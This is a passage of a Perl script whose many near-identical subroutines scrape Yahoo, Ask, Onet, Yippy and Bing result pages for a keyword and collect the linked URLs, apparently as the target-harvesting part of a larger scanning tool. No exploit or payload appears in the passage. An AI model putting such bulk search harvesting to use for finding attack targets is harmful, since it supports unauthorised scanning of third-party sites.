my $search = ("http://CA.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ca&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooCA/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooUK() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://UK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=gb&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooUK/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub yahooDE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://DE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=de&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooDE/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooFR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://FR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=fr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooFR/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooES() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://ES.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=es&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooES/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub yahooIT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://IT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=it&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooIT/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooHK() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://HK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=hk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooHK/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooID() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://ID.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=id&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooID/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub yahooIN() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://IN.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=in&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooIN/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooAU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://AU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=au&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooAU/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooMX() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://MX.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=mx&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooMX/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub yahooTW() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://TW.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=tw&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooTW/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooBR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://BR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=br&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooBR/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooAR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://AR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ar&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooAR/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub yahooNL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://NL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=nl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooNL/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooDK() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://DK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=dk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooDK/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooPH() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://PH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ph&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooPH/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub yahooCL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://CL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=cl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooCL/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooRU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://RU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ru&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooRU/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooCH() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://CH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ch&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooCH/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub yahooCO() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://CO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=co&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooCO/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooFI() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://FI.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=fi&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooFI/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooRO() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://RO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ro&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooRO/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub yahooVE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://VE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ve&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooVE/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooAT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://AT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=at&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooAT/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooPL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://PL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=pl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooPL/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub yahooKR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://KR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=kr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooKR/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooNZ() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://NZ.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=nz&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooNZ/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub yahooGR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://GR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=gr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooGR/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub yahooPE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://PE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=pe&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
my $link = $1;
if ($link!~ /yahooPE/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub ask() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=100) {
my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /ask\.com/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askCA() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://ca.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askCA\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub askDE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://de.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askDE\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askIT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askIT\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askUK() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askUK\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askFR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://fr.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askFR\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askES() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://es.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askES\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askRU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://ru.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askRU\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub askNL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://nl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askNL\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askPL() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://pl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askPL\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askAT() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://at.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askAT\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askSE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://se.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askSE\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askDK() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://dk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askDK\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askNO() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://no.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askNO\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub askAU() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://au.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askAU\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askBR() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://br.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askBR\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub askMX() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://mx.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askMX\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub askJP() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=100; $i+=1) {
my $search = ("http://jp.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
my $link = $1;
if ($link !~ /askJP\.com/){
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub onet() {
my @list;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=400; $b+=10) {
my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
my $link = $1;
if ($link !~ /onet|webcache|query/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub clusty() {
my @list;
my $key = $_[0];
my $b = 0;
for ($b=10; $b<=200; $b+=10) {
my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
my $res = &search_engine_query($search);
if ($res !~ /next/) {$b=100;}
while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
my $link = $1;
if ($1 !~ /yippy\.com/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bing() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=400; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /google/) {
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub bingDE() {
my @list;
my $key = $_[0];
for (my $i=1; $i<=1000; $i+=10) {
my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
my $res = &search_engine_query($search);
while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
my $link = $1;
if ($link !~ /msn|live|bingDE/) {
my @grep = links($link);
push(@list,@grep);
}
}
}
return @list;
}
sleep(4);
sub bingUK() {
